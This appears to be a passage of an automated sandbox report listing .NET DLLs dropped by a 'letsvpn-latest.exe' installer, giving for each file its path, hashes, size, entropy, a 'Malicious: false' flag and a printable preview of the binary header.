SHA-512:	731786C25BA7C42D78A21079E80C65DA015AC383FA8D3B4E2F6EA0AD97EEB324271D7F6AC453FBE808B454D7BD02F2751A6AF9D11CAB84B7A0C9135B2515A695
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0..............,... ...@....... ..............................._....`.................................L,..O....@..`................+...`......\+..T............................................ ............... ..H............text........ ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B.................,......H.......P .......................*......................................BSJB............v4.0.30319......l...8...#~..........#Strings....T.......#US.X.......#GUID...h...$...#Blob......................3................................................}.t.....t.....a........._.......................B.................................................[.....[.....[...).[...1.[...9.[...A.[...I.[...Q.[...Y.[...a.[...i.[...q.[.......................#.....+.....+.6...+.L...3.b...;.}...C.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.NetTcp.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.836078417070679
Encrypted:	false
SSDEEP:	384:r2mtX7WWRvWW5DpwKANynsAw/98E9VF3AM+oAYRKIYyT:r28XdcAw/KENAMxA9IJ
MD5:	8679F7B31D8C81B40EC5434CF91D66FB
SHA1:	EF769C438F6424BA4BED7D9A4C853029B338CF84
SHA-256:	13CE590AD31A1F814507BD0B8D45F9C44DD3ED1A6D5AB51BF909360C42DA94CE
SHA-512:	F9FF58175D238A37BE7BB72634D14532DA7F37ABCF6B31FB9C1AB318DAB854EFC983E9E0B4042280F5341076ACD59B23977AB52DA765D6D510B2E382A98F6FF9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....>c..........." ..0............."... ...@....... ..............................Lf....`..................................)..O....@..p................+...`.......(..T............................................ ............... ..H............text...(.... ...................... ..`.rsrc...p....@......................@..@.reloc.......`......................@..B.......................H.......P ......................\(......................................BSJB............v4.0.30319......l... ...#~......H...#Strings............#US.........#GUID.......$...#Blob......................3..................................................4...q.4...E.!...T...........+.....X.....'...........p.................Y.....B...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....+.8...+.N...3.d...;.....C.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Primitives.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23528
Entropy (8bit):	6.483616086646654
Encrypted:	false
SSDEEP:	384:Y8h2IgODoeNlPSCqWvVEW7VmpwKANynsAw/98E9VF3AM+oV7Ytp:lz1zNlFBbrAw/KENAMxFWp
MD5:	912A0F5B72E056B22E97798879492E5B
SHA1:	96C93DF33E19B5EA94CF6032D07B721940AB7DB2
SHA-256:	FE0895DD79FF155ADD093751000B49D9E0B9D1EFB2F5F40980A304C2E08C1601
SHA-512:	5CF795ACA36A5AFCD8F6CFF9C5C4FBCADA274FD8F4E17FD4A3E065395F8C9E1D47CB52B291B871EFECABDBD5A6C44E760BBD01871B91BDBA65AA02F2C2004C12
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..&...........D... ...`....... ....................................`.................................xD..O....`...............0...+..........\|C..T............................................ ............... ..H............text....$... ...&.................. ..`.rsrc........`.......(..............@..@.reloc..............................@..B.................D......H.......P ..."...................B......................................BSJB............v4.0.30319......l.......#~..,...D...#Strings....p ......#US.t ......#GUID.... ..(...#Blob......................3......................................I...............\...................t.....t...C.t.....t...\.t.....t...6.t.....t.....t.....l.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+. ...+.<...+.R...3.h...;.....C.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Security.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.869840402481901
Encrypted:	false
SSDEEP:	384:ELkW1JgWYhpwKANynsAw/98E9VF3AM+oMAF4:EV9Aw/KENAMxZm
MD5:	9F3E971F7EC231D87D1ABAFD5F14C95C
SHA1:	05DF9D557F1A7067DA70ABFDFF862B57A4FBB960
SHA-256:	EDC5EF41A53F6C46090FA5F29A3FEA184988F0629A1CD656E01B2DD82896FC95
SHA-512:	20933187B8595F23500C6F3CFABCE2833E4A6311DA2DF72EC9E8DD51954D18836E4F10B9BD60BCD3DBE98DF61D710C521E1E6B5034904FCAC849CBDD8062F155
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....1..........." ..0.............V-... ...@....... ..............................W/....`..................................-..O....@...................+...`.......,..T............................................ ............... ..H............text...\.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................8-......H.......P ..<....................+......................................BSJB............v4.0.30319......l...<...#~......X...#Strings............#US.........#GUID.......(...#Blob......................3................................................:.............................w...........s.......................Z.............%.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....+.:...+.P...3.f...;.....C.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Syndication.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	19432
Entropy (8bit):	6.775879088015671
Encrypted:	false
SSDEEP:	384:yISW5NW2eWklpwKANynsAw/98E9VF3AM+oZ9/Q:y+5b7Aw/KENAMxY
MD5:	B163FD43E6AF71F24EB6D574FCC1D2FB
SHA1:	863359CD40FCD452DFBC5B0D217210B5576D1645
SHA-256:	308EC9BEAF35014DD2736AD71BB43E1280AA95393B8D37BE2938B6C020965B0A
SHA-512:	8A3EEE8EE2CEB4F3A753F84512A9ACC4D1EADAFE53D4D7386865D86D03107BB9320538EF59C33E3D2C4A4ABD19B98546FF98D2405A46FDB728C8860F0025256D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0..............4... ...@....... ....................................`................................./4..O....@............... ...+...`......83..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................c4......H........ ...............0.. ....2......................................:.(......}......{...."..(...."..(...."..(...."..(...."..(....*BSJB............v4.0.30319......l.......#~..........#Strings....\.......#US.`.......#GUID...p.......#Blob...........W..........3........................................................".........................q.......................B...................q...........q...X.q...'.q.....q...K.q...h.q.....q.....q...............%.....y.......{.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceProcess.ServiceController.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21480
Entropy (8bit):	6.75285979389933
Encrypted:	false
SSDEEP:	384:WEO4YkTdk8VKWCWV1upaWpHpwKANynsAw/98E9VF3AM+o5M87rd8o:WEOSQSAw/KENAMx7tL
MD5:	41D41E8800C6F4E6A8CD119E2EDB84AC
SHA1:	7EAFA308A8B2A4B7A2ACA135A5F10CA7F2F9EA61
SHA-256:	ABE5CEBB8D9486D118CA4A3F92A198228682206143674CD684357B1515EF97E3
SHA-512:	6E7B84F6A8EE890B3B91358FA8065F90414947F7532B28849E8957E1B76C56773067623B4392325E7ABE72A7CDD16DBC8F51FF2589B32CF7BECF11AD80839242
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....)............" ..0.............;... ...@....... ..............................f.....`..................................:..O....@...............(...+...`.......9..T............................................ ............... ..H............text...0.... ...................... ..`.rsrc........@......................@..@.reloc.......`.......&..............@..B.................;......H........!...............7..0...H9......................................:.(......}......{...."..(...."..(...."..(...."..(...."..(......(......(......(......(....:.(......}......{....:.(......}......{....:.(......}......{......(....:.(......}......{....^.(...........%...}....:.(......}......{....z.(......}...........%...}....V.(......}......}......{......{....BSJB............v4.0.30319......l...4...#~......T...#Strings............#US.........#GUID...

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.CodePages.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	763880
Entropy (8bit):	7.476776657561635
Encrypted:	false
SSDEEP:	12288:TILs7xn7kZQ6kliVreJIHHr0tRYbKr2KtG9VKABC6rPqAN:EG9km6k/IwRYbiBeKGCzAN
MD5:	AA0EDECEC98FC03EBFC4CFE2F104C2D8
SHA1:	37DF762A94D4715FAEEBD13080E28C643FA2AC1C
SHA-256:	385DFDB38FD3974D978FF4DEB8615E924BF13B82DBEF5E28007FF06A9100AFCD
SHA-512:	014A15EC64C7BC34870F0F01FF91E4A2260B339EE465C1FEF3729452D3F0691B8485D8674B06C4DAC51A69A7CCDB3C8515B6755E39B37AD1BDC15A978A76BA50
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....mo..........." ..0..p..........n^... ........... ..............................+.....`..................................^..O....................\|...+...........]..T............................................ ............... ..H............text....o... ...p.................. ..`.rsrc................r..............@..@.reloc...............z..............@..B................M^......H.......H....$..........<...`....\........................................(....^.(.......5...%...}....:.(......}....:.(......}....:.(......}.....~.....0..........(....,....(.....o.......&.................!....0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....( .....(!.....(....,.r...p......%...%...(.......("...*.(...

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.Extensions.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.927179205354201
Encrypted:	false
SSDEEP:	384:lb1nWCXWmdpwKANynsAw/98E9VF3AM+orDVZ0Q:x74Aw/KENAMxXH
MD5:	90A4D4A07BEB68CF3F641935FF0229C1
SHA1:	BC2A0BAEB1EC6C34714C40F33D8194AA540AAAD4
SHA-256:	CDC8957F0778ED38E697BA3B7661F9D3543DA00FDBA834A61AF62F4978F98294
SHA-512:	F9B62F7177CA2020EB44EDC7A1F097096392189504AF98E24318289EAE51BCE0A70DB1E2237290FB6A0B6B70B699963A16F46064FD2DDAF8B764480CE33217A5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ..............................]r....@..................................(..O....@..T................+...`.......'............................................... ............... ..H............text... .... ...................... ..`.rsrc...T....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................'......................................BSJB............v4.0.30319......l.......#~.. ...t...#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0.....6.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.!...C.<...K.\...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.836516443249949
Encrypted:	false
SSDEEP:	384:IqyW7TWLopwKANynsAw/98E9VF3AM+oR2b7NT:1f0Aw/KENAMxwT
MD5:	73E9DCD5DD395B8C15EAB23303AE9AE3
SHA1:	54697AA3D6A002F982BA6F93C3AF85AA6C1133BA
SHA-256:	5020407879BABD2AF25F093BD45665C03FC5831CAD9D58D2DBCE87D12F59BBDD
SHA-512:	3546F0AA0DB8094490EEA23CBFCD33BFE7F69700BCF27CE871B5B08329898BB2031FAD9C4CD39AD9A2348A3901964EC33F6655083BD19A2859CC9E654E5A6693
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0.............2... ...@....... ...............................e....@..................................)..O....@...................+...`.......(............................................... ............... ..H............text...8.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.......................H.......P ......................((......................................BSJB............v4.0.30319......l...0...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0...........D.7.....7.....7...C.7.....7.....7...[.7...x.7...-.0.....7.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.1...K.Q...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.RegularExpressions.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.960673757391943
Encrypted:	false
SSDEEP:	384:l6Rb32WVzWVUpwKANynsAw/98E9VF3AM+ogBBuQi3:8Rb3duAw/KENAMxgXu7
MD5:	8D876A48CE52BCA7873C6C29B10BB96E
SHA1:	B22DF4366A0325156A792032FC95E947E6C22D43
SHA-256:	F7C91AE5F6A7A8258EDA85589FB77A46E454305320409512DC336DAA60DC1083
SHA-512:	31A7339EA54420DD0C260C333A8C5DD569C889501A22AA6C5C4C52441F3AD2BC966CC917D3AA1037AE30C5BC7DCFAB38BC2796F93711BF668F30B03C4669CCFD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ..............................X.....@.................................t)..O....@..P................+...`......<(............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................)......H.......P ..l....................'......................................BSJB............v4.0.30319......l.......#~..........#Strings....@.......#US.D.......#GUID...T.......#Blob......................3..................................................K...d.K...8.8...k.....L.................K.................c...........5.........................2.....2.....2...).2...1.2...9.2...A.2...I.2...Q.2...Y.2...a.2...i.2...q.2.......................#.....+.....3.....;. ...C.;...K.[...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.AccessControl.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32232
Entropy (8bit):	6.374023696115185
Encrypted:	false
SSDEEP:	384:LMTiavAbgFWyO5XIu+TJSl2Yd5zcNEkUr6ODA7WpOWKupwKANynsAw/98E9VF3AJ:LMWavA+YHfsZtauAw/KENAMxK
MD5:	D393460D0440E84FC59A295DEE479D66
SHA1:	1204D4151A146572AD7F4978AC051C60F46131B7
SHA-256:	3D8792448435361C357C8851973535DD446DCBE3DA702D039FF662A27BD50A9C
SHA-512:	72C9B9D1E0687793EE022CCEF9590D0BBEDFA06F9E025B10D090A469A994BB27CDB2BA6E6D9DB107E0C7846FFDAC40A475D0C0EBA9696BBFFBB3C4ED078E3CEE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..D..........zb... ........... ..............................."....`.................................%b..O.......l............R...+..........(a..T............................................ ............... ..H............text....B... ...D.................. ..`.rsrc...l............F..............@..@.reloc...............P..............@..B................Yb......H........%..$-...........R.......`........................................(....^.(..........%...}....:.(......}....:.(......}....:.(......}.....~.....0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......( ....(...

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Overlapped.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32744
Entropy (8bit):	6.586709819373184
Encrypted:	false
SSDEEP:	768:cu5I+sqOylryry8qqIfUc7a5xAw/KENAMxY8:cYIVBpry8qqIfUcm5xAwrxp
MD5:	E2F5E7ED8C7E04FB7A2C32A4170260E5
SHA1:	CBB76FA4201F2BF9C5FA53600A0BC29F218855A4
SHA-256:	203CFB596421D608F65F145F93427CA68E2D8A75BAB0D6D94EA8F32FFE22D63E
SHA-512:	B2DBDEFE0EA0F8325736ECB684DE537B6D57D4DB7BD44F5CDA58EBAF0060E874495A9E5C3F6C38FD73E42028CB30834E8A19E6F922CDD90B4BD4B983C52EA697
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..F...........d... ........... ....................................@..................................c..O.......x............T...+...........c............................................... ............... ..H............text....D... ...F.................. ..`.rsrc...x............H..............@..@.reloc...............R..............@..B.................c......H........&...7...........^.......b......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(....2rK..p.(....2ry..p.(....2r...p.(....2r...p.(....2rc..p.(..........(......0..;........\|....(......./......(....o....s

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.Extensions.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	28136
Entropy (8bit):	6.5543265047258
Encrypted:	false
SSDEEP:	384:jvR973o62/KqcAnb05J3w0I5eUGef8s72XBWdvVW2JW8ah1pwKANynsAw/98E9Vh:jvRZ4nNxnYTb6BlhpAw/KENAMxp7L
MD5:	45AE1D721891F77D2E6A6BC3E6EAB195
SHA1:	1AB3C6CAFF6F2D959C3D4597CB02E126E56DB58A
SHA-256:	22F85D65BD689C5393FF32E5E7CBB3D87531F3FA7BA8A3DAAAB44BA08F613E87
SHA-512:	0FEF3C23F833C69A74199ADE21392C6712EC0881FB27592DF3125EC06722331178FDA6F0707D0AA8355693ADC565B92AE6F92D48DE10A63B0F61DE0ADFAE7E45
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0..8...........V... ...`....... ...................................@..................................V..O....`...............B...+..........PU............................................... ............... ..H............text....6... ...8.................. ..`.rsrc........`.......:..............@..@.reloc...............@..............@..B.................V......H........0...$...................T........................................(......(....z..(....z2.(....s....2.(....s....:........o.....~....~.-..(......}......}......}....~.-..(......}......}......}....Z..}......}......}....J.{....%-.&.o....^.u....,........(.....~.{.....{....3..{.....{.......&...(....2...(...........0..'........{......,..u....%-.&..(...+(....(....n.{....,..(....s.....q....*..0..a.........{....o0.....,;..{....o2...(......;...3.~.......s......

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.Parallel.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.928323919167167
Encrypted:	false
SSDEEP:	384:z4vn4HREpWiQW87pwKANynsAw/98E9VF3AM+oI3J:zPSfAw/KENAMx4
MD5:	A73C080C9562DEBA6E6F8B2626F24A00
SHA1:	2A5048D16C100B1E3422D5B8DEB13FBEBACEE7DB
SHA-256:	2D2357B931E68EB9283ED8817EDB64C8D3B5A2C6723BD32E2D3371916E76FB90
SHA-512:	BE2767E98759423A59D873796E2545848197990BC49E396B525B33F2BE8E49152CAC8FB095F45FFE229CE905996F44D2FAB45A4AE39EE576996F8B74D2C50405
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ....................................@..................................(..O....@..P................+...`......x'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......l...#Strings....\|.......#US.........#GUID...........#Blob......................3......................................................n.....B.....".....V.................U...........$.....m...........?.....(...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.!...C.<...K.\...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.829158312131995
Encrypted:	false
SSDEEP:	384:k8MjKb47T3UCcqFMkJ59WdtWpXpwKANynsAw/98E9VF3AM+oD5KAo/:VMjKb4vcGdOLAw/KENAMxMAo/
MD5:	98579FA7FB01CD7666F564FD273AD424
SHA1:	88792C42E1B526E2D907ECE65BC64D2A07C99D49
SHA-256:	4FFC812D280F101C200872A7140DCA5FB222A08F506997AE9FFF27CB27D8C199
SHA-512:	F7331EBA38A6CC2F9B1442178B7CDA78F32507730730AAA3ED6C3B8D764EE20AEEA2290CE0CD55D3A743C80A0B220DAADE03C06197FC388F5D45118E14C305B4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............,... ...@....... ...............................5....@.................................`,..O....@...................+...`......(+............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................,......H.......P ..X....................*......................................BSJB............v4.0.30319......l...<...#~..........#Strings....4.......#US.8.......#GUID...H.......#Blob......................3................................!.....O.......................................].....z.............................7.......j...........n...........................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Thread.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.917328117494581
Encrypted:	false
SSDEEP:	384:jzyNXd4+BW6FWzrpwKANynsAw/98E9VF3AM+o0PkUpw8Pa3:qzxAw/KENAMxqZ6
MD5:	C9F015CBA9609668C0C970A1A88CB4E8
SHA1:	9ECF07C05EE73AD21372CAD179CDECFB1C4E7A03
SHA-256:	D1B57D24DBE51F1EC4B9B9A5CBA555550B274D94575BCC75E964E02CCE3875DF
SHA-512:	41CC6DDF48BF19F6643B202B42A3BD0EEE9D3848C42556ABED47411488FF5CE688852751B5B2BA8479AC8E9A5AF987A63F9252AEEA00193C44DE7AD0994BB2B8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ....................................@..................................(..O....@...................+...`.......'............................................... ............... ..H............text... .... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P .......................'......................................BSJB............v4.0.30319......l.......#~..,...p...#Strings............#US.........#GUID...........#Blob......................3..................................................'.....'...T.....G.....h.................g...........6.................Q.....:...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.4...K.T...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.ThreadPool.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.916441350283002
Encrypted:	false
SSDEEP:	384:/vs2Q3HKJNrWWRWiSpwKANynsAw/98E9VF3AM+ogHr90:/uMlAw/KENAMxMS
MD5:	0597C0D32D6E663B59B92D42D98FE31B
SHA1:	6F7392F213D5C9C4E3EE94DCD4C25333F7527F8D
SHA-256:	FBF32DFA2811A9F728FC51B437F763CEBACEFD1E6E931ED18068643A9E7C9C45
SHA-512:	F3E295022257DD1C95D8A9B7D045B844C0A0AFA1943FB008B80E6C792700587135C129DDB3DE08E54493A261F91F96AABA6FBF9EADF98D1F77D40342183DCB12
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............(... ...@....... ..............................tC....@..................................(..O....@..4................+...`......h'............................................... ............... ..H............text........ ...................... ..`.rsrc...4....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......`...#Strings....p.......#US.t.......#GUID...........#Blob......................3................................................../...q./...E.....O.....Y.................X...........'.....p...........B.....+...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.8...K.X...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Timer.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.889393529322428
Encrypted:	false
SSDEEP:	384:mFz0Q6gcqRhcsMWdMW/wpwKANynsAw/98E9VF3AM+oQRhSAnAI:mFz1c6/Aw/KENAMxFAN
MD5:	52A8DF0DF20D4E4C72107C7A82935773
SHA1:	178D2F122689F07098CEC8D526A330C0D02F62B1
SHA-256:	58FF8C50A179DB011F34964FFD747A9C8CB280C074CCEEF7436B298633AB17F9
SHA-512:	8AE6B87E1086C430D9C12220354E4332DA114D267BDC8A07F61D24EC3A890FE869D678F80230658BE0089B66C00A4EE46CDB78C1B6CF3E77BB74204DB0FDB91E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............(... ...@....... ..............................\|.....@.................................L(..O....@...................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P ..D....................&......................................BSJB............v4.0.30319......l.......#~......,...#Strings.... .......#US.$.......#GUID...4.......#Blob......................3......................................................\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.78331502201167
Encrypted:	false
SSDEEP:	384:G6xWA3W4aW/NW1xpwKANynsAw/98E9VF3AM+olHSDWo42:GaB1Aw/KENAMxZSDq2
MD5:	98682F0CEFC51030D2EE76866B2D4029
SHA1:	F47F43A44BACF0DAD4D66BDFCE8D406821973AFF
SHA-256:	2C81B75DEA691B6DB2514146F85821EAD16C18E84FBDA68A6010FA7D69B2A969
SHA-512:	400C139C7F2C12260E66FC498AF1FA718C624EDA53DCCAD1B33ECD0B8BAB0068A907B7C49A99986A4FD12DA3BF9B048F7762EFD28F5E8EA20104B22D1B6EEDFB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............,... ...@....... ...............................B....@..................................+..O....@...................+...`...................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................+......H.......P .............................................................BSJB............v4.0.30319......l... ...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................-.........O.k.....k.....X.....................1...........o.........................B...........9...........J.....J.....J...).J...1.J...9.J...A.J...I.J...Q.J...Y.J...a.J...i.J...q.J.......................#.....+.....3.....;.....C.-...K.M...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.ValueTuple.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	74216
Entropy (8bit):	5.952655867460952
Encrypted:	false
SSDEEP:	1536:mIumja0tbe16pSc45EfL+4vD4SuJbhjXuE3FMqF1KAy4kHo05ureseh79BAwrxR:mIuAaGbeGq5rKASI0IChBhz
MD5:	0AB734A059B8A7A35BB486D746B8690F
SHA1:	7EC8D01ABB66672657D2FF8B064CA88E6003BF18
SHA-256:	F1F5F7EA3526F7ED0290FAA00573ED2619E234891D10148F58695B9CAAB8DF30
SHA-512:	D40885E9A00FC8110C5B23950B265F994E03048A3369DA5CC694975B464DCBED42E4FB8AF04E0D4CF5198886821DFE6C44B38BDD5916B472F192411C51858F95
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.............~.... ... ....... .......................`............@.................................,...O.... ..x................+...@....................................................... ............... ..H............text........ ...................... ..`.rsrc...x.... ......................@..@.reloc.......@......................@..B................`.......H.......................d.......t.......................................6..o.........f..o...........o............o...........o...........o............o...........o...........o ...........o!...........o"..........o#..........o$...........o%...........o&............0..L.........o'..........o(..........o)...........o...........o+...........o,.........0..Y.........o-..........o...........o/...........o0...........o1...........o2...........o3.... .......0..k.........o4....

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Web.Services.Description.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	18408
Entropy (8bit):	6.764218616884775
Encrypted:	false
SSDEEP:	384:/vx21MWeLqWYFpwKANynsAw/98E9VF3AM+o/7W:/J2WfAw/KENAMxK
MD5:	B9AC9A5E32A5CC5BE9D5FE05183594E9
SHA1:	BC9E3A9BA0FCC25EFB2C4A37BD6D42E27902E003
SHA-256:	3A73C973BDDE70F6EF8027D6015448F3B762D7F7B2433FCE1B235E95D77D8EC4
